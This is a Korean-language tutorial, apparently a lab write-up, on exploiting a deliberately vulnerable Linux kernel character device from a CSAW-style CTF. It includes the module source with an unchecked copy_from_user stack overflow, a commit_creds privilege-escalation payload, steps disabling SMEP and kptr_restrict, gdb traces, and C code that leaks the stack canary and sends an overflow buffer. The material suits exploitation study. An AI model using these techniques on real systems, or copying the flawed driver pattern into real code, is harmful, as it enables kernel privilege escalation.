Excuse the ads! We need some help to keep our site up.
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); commit_creds = 0xc1082b60; prepare_kernel_cred = 0xc1082e20; void payload(void) { commit_creds(prepare_kernel_cred(0)); } |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ uname -a Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
lazenca0x0@ubuntu:~$ lsb_release -cs trusty lazenca0x0@ubuntu:~$ uname -r 4.2.0-27-generic lazenca0x0@ubuntu:~$ |
deb http://ddebs.ubuntu.com trusty main restricted universe multiverse deb http://ddebs.ubuntu.com trusty-updates main restricted universe multiverse deb http://ddebs.ubuntu.com trusty-proposed main restricted universe multiverse |
lazenca0x0@ubuntu:~$ sudo apt-get update lazenca0x0@ubuntu:~$ sudo apt-get install linux-image-4.2.0-27-generic-dbgsym Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: linux-image-4.2.0-27-generic-dbgsym 0 upgraded, 1 newly installed, 0 to remove and 421 not upgraded. Need to get 436 MB of archives. After this operation, 2,236 MB of additional disk space will be used. WARNING: The following packages cannot be authenticated! linux-image-4.2.0-27-generic-dbgsym Install these packages without verification? [y/N] y Get:1 http://ddebs.ubuntu.com trusty-updates/main i386 linux-image-4.2.0-27-generic-dbgsym i386 4.2.0-27.32~14.04.1 [436 MB] Fetched 436 MB in 2min 30s (2,900 kB/s) Selecting previously unselected package linux-image-4.2.0-27-generic-dbgsym. (Reading database ... 179208 files and directories currently installed.) Preparing to unpack .../linux-image-4.2.0-27-generic-dbgsym_4.2.0-27.32~14.04.1_i386.ddeb ... Unpacking linux-image-4.2.0-27-generic-dbgsym (4.2.0-27.32~14.04.1) ... Setting up linux-image-4.2.0-27-generic-dbgsym (4.2.0-27.32~14.04.1) ... lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~$ file /usr/lib/debug/boot/vmlinux-4.2.0-27-generic /usr/lib/debug/boot/vmlinux-4.2.0-27-generic: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=73c1ee55f76230e9050e32272d4f0f1cc1d95ff6, not stripped lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ cat /proc/cpuinfo |grep smep flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid xsaveopt lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
# If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: # info -f grub -n 'Simple configuration' GRUB_DEFAULT=0 GRUB_HIDDEN_TIMEOUT=0 GRUB_HIDDEN_TIMEOUT_QUIET=true GRUB_TIMEOUT=10 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet nosmep" GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US" # Uncomment to enable BadRAM filtering, modify to suit your needs # This works with Linux (no patch required) and with any kernel that obtains # the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...) #GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef" # Uncomment to disable graphical terminal (grub-pc only) #GRUB_TERMINAL=console # The resolution used on graphical terminal # note that you can use only modes which your graphic card supports via VBE # you can see them in real GRUB with the command `vbeinfo' #GRUB_GFXMODE=640x480 # Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux #GRUB_DISABLE_LINUX_UUID=true # Uncomment to disable generation of recovery mode menu entries #GRUB_DISABLE_RECOVERY="true" # Uncomment to get a beep at grub start #GRUB_INIT_TUNE="480 440 1" |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo update-grub Generating grub configuration file ... Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported. Found linux image: /boot/vmlinuz-4.2.0-27-generic Found initrd image: /boot/initrd.img-4.2.0-27-generic Found memtest86+ image: /boot/memtest86+.elf Found memtest86+ image: /boot/memtest86+.bin done lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ reboot |
lazenca0x0@ubuntu:~$ cat /proc/cpuinfo |grep smep lazenca0x0@ubuntu:~$ cat /proc/cpuinfo |grep flags flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 bmi2 invpcid xsaveopt lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo sysctl -w kernel.kptr_restrict=0 kernel.kptr_restrict = 0 lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ cat /proc/kallsyms |grep chardev f9c70000 t chardev_lseek [chardev] f9c700a0 t chardev_release [chardev] f9c700e0 t chardev_write [chardev] f9c70160 t chardev_read [chardev] f9c70260 t chardev_init [chardev] f9c722dc b chardev_major [chardev] f9c722a0 b chardev_cdev [chardev] f9c72280 b __key.24596 [chardev] f9c72280 b chardev_class [chardev] f9c703a0 t chardev_exit [chardev] f9c72080 d __this_module [chardev] f9c72000 d chardev_fops [chardev] f9c703a0 t cleanup_module [chardev] f9c70260 t init_module [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
_copy_from_user() 함수를 이용하여 사용자 메모리 블록 데이터(buf 인자값)를 커널 메모리 블록 데이터(data 변수)에 복사합니다.
_copy_from_user() 함수를 이용하여 데이터가 복사 될 때 count 인자값의 크기에 의해 Stack Overflow가 발생하게 됩니다.
strcpy() 함수를 이용하여 data 변수 영역에 문자열을 복사합니다.
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" #define BUFFER_SIZE 64 static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 2; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static loff_t chardev_lseek(struct file *, loff_t, int); struct file_operations chardev_fops = { .release = chardev_release, .read = chardev_read, .write = chardev_write, .llseek = chardev_lseek, }; struct data { unsigned char buffer[BUFFER_SIZE]; }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE); return 0; } static void chardev_exit(void) { int minor; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) { device_destroy(chardev_class, MKDEV(chardev_major, minor)); } class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_release() function has been called."); if (file->private_data) { kfree(file->private_data); file->private_data = NULL; } return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_write() function has been called."); printk("Before calling the copy_from_user() function : %p",data); if (_copy_from_user(&data, buf, count) != 0) { return -EFAULT; } /* if (copy_from_user(&data, buf, count) != 0) { return -EFAULT; } if (__copy_from_user(&data, buf, count) != 0) { return -EFAULT; } */ printk("After calling the copy_from_user() function : %p",data); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_read() function has been called.\n"); memset(data, 0, sizeof(data)); strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n"); printk("MSG : %s",data); printk("f_pos : %lld\n",*f_pos); if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) { return -EFAULT; } return count; } static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) { loff_t new_pos = 0; printk("The chardev_lseek() function has been called."); switch(orig) { case 0 : /*seek set*/ new_pos = offset; break; case 1 : /*seek cur*/ new_pos = file->f_pos + offset; break; case 2 : /*seek end*/ new_pos = BUFFER_SIZE - offset; break; } if(new_pos > BUFFER_SIZE) new_pos = BUFFER_SIZE; if(new_pos < 0) new_pos = 0; file->f_pos = new_pos; return new_pos; } module_init(chardev_init); module_exit(chardev_exit); |
obj-m = chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ls -al /dev/chardev0 crw-rw-rw- 1 root root 246, 0 Jan 29 01:46 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ lsmod |grep chardev chardev 16384 0 lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
해당 예제에서 사용되는 모듈에는 Canary가 적용되어 있기 때문에 Canary값의 추출이 필요합니다.
우선 다음 예제를 이용하여 chardev_read() 함수의 디버깅과 Canary의 위치를 확인해보겠습니다.
해당 함수는 다음과 같이 동작합니다.
open()함수를 이용하여 "/dev/charde0" 모듈을 열어서 fd 변수에 파일 디스크립터 값을 저장합니다.
memset() 함수를 이용하여 buf 변수 영역을 문자 'A'로 채웁니다.
read() 함수를 이용하여 fd의 내용을 buf영역에 읽어들입니다.
//gcc -static -o test test.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; int fd; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } memset (buf, 'A', TEXT_LEN); read(fd, buf, TEXT_LEN); printf("%s", buf); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ cat /proc/kallsyms |grep chardev f9ab0000 t chardev_lseek [chardev] f9ab00a0 t chardev_release [chardev] f9ab00e0 t chardev_write [chardev] f9ab0160 t chardev_read [chardev] f9ab0260 t chardev_init [chardev] f9ab22dc b chardev_major [chardev] f9ab22a0 b chardev_cdev [chardev] f9ab2280 b __key.24596 [chardev] f9ab2280 b chardev_class [chardev] f9ab03a0 t chardev_exit [chardev] f9ab2080 d __this_module [chardev] f9ab2000 d chardev_fops [chardev] f9ab03a0 t cleanup_module [chardev] f9ab0260 t init_module [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
0xfffffff0 in ?? () (gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h:50 50 /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h: No such file or directory. (gdb) b *0xf9ab0160 Breakpoint 1 at 0xf9ab0160 (gdb) c Continuing. |
chardev_read() 함수의 디버깅을 위해 다음과 같이 Break point를 설정합니다.
0xf9ab01a6 : strcpy() 함수 호출 전
0xf9ab01ab : strcpy() 함수 호출 후
0xf9ab01d9 : 커널영역의 값을 사용자 영역으로 복사 전
0xf9ab0239 : 커널영역의 값을 사용자 영역으로 복사 후
0xf9ab0255 : chardev_read() 함수 종료 전
Breakpoint 1, 0xf9ab0160 in ?? () (gdb) x/30i $eip => 0xf9ab0160: push ebp 0xf9ab0161: mov ebp,esp 0xf9ab0163: push edi 0xf9ab0164: push esi 0xf9ab0165: push ebx 0xf9ab0166: sub esp,0x58 ... 0xf9ab0198: mov ecx,0x10 0xf9ab019d: rep stos DWORD PTR es:[edi],eax 0xf9ab019f: mov edx,0xf9ab114c 0xf9ab01a4: mov eax,esi 0xf9ab01a6: call 0xc1351320 <strcpy> 0xf9ab01ab: mov DWORD PTR [esp+0x4],esi ... 0xf9ab01d9: test ebx,ebx 0xf9ab01db: mov eax,DWORD PTR [esi] 0xf9ab01dd: mov DWORD PTR [ebx],eax 0xf9ab01df: mov eax,DWORD PTR [esi+0x4] 0xf9ab01e2: mov DWORD PTR [ebx+0x4],eax 0xf9ab01e5: mov eax,DWORD PTR [esi+0x8] 0xf9ab01e8: mov DWORD PTR [ebx+0x8],eax ... 0xf9ab0233: mov eax,DWORD PTR [esi+0x3c] 0xf9ab0236: mov DWORD PTR [ebx+0x3c],eax 0xf9ab0239: mov eax,0xfffffff2 0xf9ab023e: cmove eax,DWORD PTR [ebp-0x54] 0xf9ab0242: mov edx,DWORD PTR [ebp-0x10] 0xf9ab0245: xor edx,DWORD PTR gs:0x14 0xf9ab024c: jne 0xf9ab0256 0xf9ab024e: add esp,0x58 0xf9ab0251: pop ebx 0xf9ab0252: pop esi 0xf9ab0253: pop edi 0xf9ab0254: pop ebp 0xf9ab0255: ret (gdb) b *0xf9ab01a6 Breakpoint 2 at 0xf9ab01a6 (gdb) b *0xf9ab01ab Breakpoint 3 at 0xf9ab01ab (gdb) b *0xf9ab01d9 Breakpoint 4 at 0xf9ab01d9 (gdb) b *0xf9ab0239 Breakpoint 5 at 0xf9ab0239 (gdb) i r esp esp 0xecf2bf4c 0xecf2bf4c (gdb) i r ebp ebp 0xecf2bf5c 0xecf2bf5c (gdb) |
Breakpoint 2, 0xf9ab01a6 in ?? () (gdb) i r eax edx eax 0xecf2bef8 -319635720 edx 0xf9ab114c -106229428 (gdb) x/20wx 0xecf2bef8 0xecf2bef8: 0x00000000 0x00000000 0x00000000 0x00000000 0xecf2bf08: 0x00000000 0x00000000 0x00000000 0x00000000 0xecf2bf18: 0x00000000 0x00000000 0x00000000 0x00000000 0xecf2bf28: 0x00000000 0x00000000 0x00000000 0x00000000 0xecf2bf38: 0x6c76c40a 0xf9ab0160 0xecf2bf90 0x0804a060 (gdb) x/20wx 0xf9ab114c 0xf9ab114c: 0x636c6557 0x20656d6f 0x74206f74 0x43206568 0xf9ab115c: 0x20574153 0x20465443 0x6c616863 0x676e656c 0xf9ab116c: 0x42202e65 0x20747365 0x6c20666f 0x216b6375 0xf9ab117c: 0x0000000a 0x20656854 0x72616863 0x5f766564 0xf9ab118c: 0x74696e69 0x66202928 0x74636e75 0x206e6f69 (gdb) x/s 0xf9ab114c 0xf9ab114c: "Welcome to the CSAW CTF challenge. Best of luck!\n" (gdb) c Continuing. Breakpoint 3, 0xf9ab01ab in ?? () (gdb) x/20wx 0xecf2bef8 0xecf2bef8: 0x636c6557 0x20656d6f 0x74206f74 0x43206568 0xecf2bf08: 0x20574153 0x20465443 0x6c616863 0x676e656c 0xecf2bf18: 0x42202e65 0x20747365 0x6c20666f 0x216b6375 0xecf2bf28: 0x0000000a 0x00000000 0x00000000 0x00000000 0xecf2bf38: 0x6c76c40a 0xf9ab0160 0xecf2bf90 0x0804a060 (gdb) x/s 0xecf2bef8 0xf9ab114c: "Welcome to the CSAW CTF challenge. Best of luck!\n" (gdb) c Continuing. |
유저영역의 buf 변수 영역에 "Welcom..." 문자열을 저장하기 위해 다음과 같이 동작합니다.
"mov eax,DWORD PTR [esi]"코드는 esi 레지스터에 저장된 주소 영역에 저장된 값을 eax에 저장합니다.
"mov DWORD PTR [ebx],eax"코드는 eax 레지스터에 저장된 값을 ebx 레지스터에 저장된 주소 영역에 값을 저장합니다.
Breakpoint 4, 0xf9ab01d9 in ?? () (gdb) si 0xf9ab01db in ?? () (gdb) x/40i $eip => 0xf9ab01db: mov eax,DWORD PTR [esi] 0xf9ab01dd: mov DWORD PTR [ebx],eax 0xf9ab01df: mov eax,DWORD PTR [esi+0x4] 0xf9ab01e2: mov DWORD PTR [ebx+0x4],eax 0xf9ab01e5: mov eax,DWORD PTR [esi+0x8] 0xf9ab01e8: mov DWORD PTR [ebx+0x8],eax 0xf9ab01eb: mov eax,DWORD PTR [esi+0xc] 0xf9ab01ee: mov DWORD PTR [ebx+0xc],eax 0xf9ab01f1: mov eax,DWORD PTR [esi+0x10] 0xf9ab01f4: mov DWORD PTR [ebx+0x10],eax 0xf9ab01f7: mov eax,DWORD PTR [esi+0x14] 0xf9ab01fa: mov DWORD PTR [ebx+0x14],eax 0xf9ab01fd: mov eax,DWORD PTR [esi+0x18] 0xf9ab0200: mov DWORD PTR [ebx+0x18],eax 0xf9ab0203: mov eax,DWORD PTR [esi+0x1c] 0xf9ab0206: mov DWORD PTR [ebx+0x1c],eax 0xf9ab0209: mov eax,DWORD PTR [esi+0x20] 0xf9ab020c: mov DWORD PTR [ebx+0x20],eax 0xf9ab020f: mov eax,DWORD PTR [esi+0x24] 0xf9ab0212: mov DWORD PTR [ebx+0x24],eax 0xf9ab0215: mov eax,DWORD PTR [esi+0x28] 0xf9ab0218: mov DWORD PTR [ebx+0x28],eax 0xf9ab021b: mov eax,DWORD PTR [esi+0x2c] 0xf9ab021e: mov DWORD PTR [ebx+0x2c],eax 0xf9ab0221: mov eax,DWORD PTR [esi+0x30] 0xf9ab0224: mov DWORD PTR [ebx+0x30],eax 0xf9ab0227: mov eax,DWORD PTR [esi+0x34] 0xf9ab022a: mov DWORD PTR [ebx+0x34],eax 0xf9ab022d: mov eax,DWORD PTR [esi+0x38] 0xf9ab0230: mov DWORD PTR [ebx+0x38],eax 0xf9ab0233: mov eax,DWORD PTR [esi+0x3c] 0xf9ab0236: mov DWORD PTR [ebx+0x3c],eax 0xf9ab0239: mov eax,0xfffffff2 0xf9ab023e: cmove eax,DWORD PTR [ebp-0x54] 0xf9ab0242: mov edx,DWORD PTR [ebp-0x10] 0xf9ab0245: xor edx,DWORD PTR gs:0x14 0xf9ab024c: jne 0xf9ab0256 0xf9ab024e: add esp,0x58 0xf9ab0251: pop ebx 0xf9ab0252: pop esi (gdb) i r esi esi 0xecf2bef8 -319635720 (gdb) x/wx 0xecf2bef8 0xecf2bef8: 0x636c6557 (gdb) x/s 0xecf2bef8 0xecf2bef8: "Welcome to the CSAW CTF challenge. Best of luck!\n" (gdb) i r ebx ebx 0x804a060 134520928 (gdb) x/20wx 0x804a060 0x804a060: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a070: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a080: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a090: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) si 0xf9ab01dd in ?? () (gdb) si 0xf9ab01df in ?? () (gdb) x/20wx 0x804a060 0x804a060: 0x636c6557 0x41414141 0x41414141 0x41414141 0x804a070: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a080: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a090: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) c Continuing. |
Breakpoint 5, 0xf9ab0239 in ?? () (gdb) x/20wx 0x804a060 0x804a060: 0x636c6557 0x20656d6f 0x74206f74 0x43206568 0x804a070: 0x20574153 0x20465443 0x6c616863 0x676e656c 0x804a080: 0x42202e65 0x20747365 0x6c20666f 0x216b6375 0x804a090: 0x0000000a 0x00000000 0x00000000 0x00000000 0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/s 0x804a060 0x804a060: "Welcome to the CSAW CTF challenge. Best of luck!\n" (gdb) c Continuing. |
(gdb) si 0xf9ab023e in ?? () (gdb) x/10i $eip => 0xf9ab023e: cmove eax,DWORD PTR [ebp-0x54] 0xf9ab0242: mov edx,DWORD PTR [ebp-0x10] 0xf9ab0245: xor edx,DWORD PTR gs:0x14 0xf9ab024c: jne 0xf9ab0256 0xf9ab024e: add esp,0x58 0xf9ab0251: pop ebx 0xf9ab0252: pop esi 0xf9ab0253: pop edi 0xf9ab0254: pop ebp 0xf9ab0255: ret (gdb) si 0xf9ab0242 in ?? () (gdb) i r ebp ebp 0xecf2bf48 0xecf2bf48 (gdb) x/wx 0xecf2bf48 - 0x10 0xecf2bf38: 0xc632049c (gdb) p/d 0xecf2bf38 - 0xecf2bef8 $4 = 64 (gdb) |
Canary 값을 추출하기 위해 다음과 같이 코드를 작성합니다.
lseek() 함수를 이용하여 fd의 포인트 위치로 부터 32 byte 뒤로 이동합니다.
read() 함수를 이용하여 fd 영역의 값을 buf영역에 저장합니다.
//gcc -static -o leak leak.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[512]; char canary[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 32, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canary, buf+32,4); printf("canary is :"); for(i = 0;i < 4;i++){ printf("%02x ",canary[i] & 0xff); } printf("\n"); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
Breakpoint 1, 0xf9ab0160 in ?? () (gdb) c Continuing. Breakpoint 2, 0xf9ab01a6 in ?? () (gdb) i r eax eax 0xf27b9ef8 -226779400 (gdb) c Continuing. Breakpoint 3, 0xf9ab01ab in ?? () (gdb) x/30wx 0xf27b9ef8 0xf27b9ef8: 0x636c6557 0x20656d6f 0x74206f74 0x43206568 0xf27b9f08: 0x20574153 0x20465443 0x6c616863 0x676e656c 0xf27b9f18: 0x42202e65 0x20747365 0x6c20666f 0x216b6375 0xf27b9f28: 0x0000000a 0x00000000 0x00000000 0x00000000 0xf27b9f38: 0xba1ea7c7 0xf9ab0160 0xf27b9f90 0x0804a060 0xf27b9f48: 0xf27b9f5c 0xc11ae85f 0xf27b9f90 0xe78ec0c0 0xf27b9f58: 0x00000040 0xf27b9f80 0xc11aed79 0xf27b9f90 0xf27b9f68: 0xf9ab0027 0xf9ab1024 (gdb) c Continuing. Breakpoint 4, 0xf9ab01d9 in ?? () (gdb) si 0xf9ab01db in ?? () (gdb) i r esi esi 0xf27b9f18 -226779368 (gdb) x/s 0xf27b9f18 0xf27b9f18: "e. Best of luck!\n" (gdb) x/30wx $esi 0xf27b9f18: 0x42202e65 0x20747365 0x6c20666f 0x216b6375 0xf27b9f28: 0x0000000a 0x00000000 0x00000000 0x00000000 0xf27b9f38: 0xba1ea7c7 0xf9ab0160 0xf27b9f90 0x0804a060 0xf27b9f48: 0xf27b9f5c 0xc11ae85f 0xf27b9f90 0xe78ec0c0 0xf27b9f58: 0x00000040 0xf27b9f80 0xc11aed79 0xf27b9f90 0xf27b9f68: 0xf9ab0027 0xf9ab1024 0x00000003 0xe78ec0c0 0xf27b9f78: 0xe78ec0c0 0x0804a060 0xf27b9fa4 0xc11af716 0xf27b9f88: 0xf27b9f90 0x00000040 (gdb) i r ebx ebx 0x804a060 134520928 (gdb) x/30wx 0x804a060 0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0d0: 0x00000000 0x00000000 (gdb) c Continuing. |
다음과 같이 buf 변수에서 "Welcom..." 문자열의 일부와 Canary 값을 확인할 수있습니다.
Kernel 영역에 저장된 Canary 영역의 주소는 0xf27b9f38 이며, 값은 0xba1ea7c7 입니다.
Breakpoint 5, 0xf9ab0239 in ?? () (gdb) x/30wx 0x804a060 0x804a060: 0x42202e65 0x20747365 0x6c20666f 0x216b6375 0x804a070: 0x0000000a 0x00000000 0x00000000 0x00000000 0x804a080: 0xba1ea7c7 0xf9ab0160 0xf27b9f90 0x0804a060 0x804a090: 0xf27b9f5c 0xc11ae85f 0xf27b9f90 0xe78ec0c0 0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0d0: 0x00000000 0x00000000 (gdb) si 0xf9ab023e in ?? () (gdb) 0xf9ab0242 in ?? () (gdb) i r ebp ebp 0xf27b9f48 0xf27b9f48 (gdb) x/wx 0xf27b9f48 - 0x10 0xf27b9f38: 0xba1ea7c7 (gdb) si 0xf9ab0245 in ?? () (gdb) i r edx edx 0xba1ea7c7 -1172396089 (gdb) |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./test 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | c7 a7 1e ba 60 01 ab f9 90 9f 7b f2 60 a0 04 08 | ǧ?`????{?`? 5c 9f 7b f2 5f e8 1a c1 90 9f 7b f2 c0 c0 8e e7 | \?{?_????{????? canary is :c7 a7 1e ba lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
//gcc -static -o canary canary.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128],rop[128]; char canary[4]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 32, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canary, buf+32,4); printf("canary is :"); for(i = 0;i < 4;i++){ printf("%02x ",canary[i] & 0xff); } printf("\n"); memset(rop, 'A', 64); memcpy(rop+64,canary,4); write(fd, rop, 68); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h:50 50 in /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h (gdb) b *0xf9ab00e0 Breakpoint 6 at 0xf9ab00e0 (gdb) c Continuing. |
